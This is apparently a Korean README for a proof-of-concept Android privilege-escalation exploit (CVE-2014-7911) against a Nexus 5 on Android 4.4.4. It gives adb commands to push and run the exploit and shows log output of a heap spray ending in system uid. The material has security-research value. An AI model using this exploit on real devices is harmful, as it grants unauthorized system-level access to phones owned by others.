
Android 로컬 권한 상승 (CVE-2014-7911)을 위한 개념 증명 익스플로잇으로, ROP 체인과 힙 스프레이를 사용하여 Nexus5를 대상으로 system uid를 획득합니다.
CVE-2014-7911의 PoC로, Nexus5 Android 4.4.4_r1을 대상으로 하며 retme7 기반으로 다른 ROP 체인을 사용합니다.
adb를 통해 휴대폰을 연결하세요.
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
이 PoC를 실행하고 "CVE-2014-7911" 버튼을 클릭하면 다음이 표시됩니다:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
그런 다음 활동을 여러 번 최소화하여 시스템이 충돌할 때까지 기다리세요. 다음과 같이 표시되면:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
익스플로잇이 성공한 것입니다. 휴대폰이 그냥 충돌할 경우, 디바이스는 취약하지만 익스플로잇이 실패했을 수 있습니다(다른 ROP 체인을 찾아야 합니다).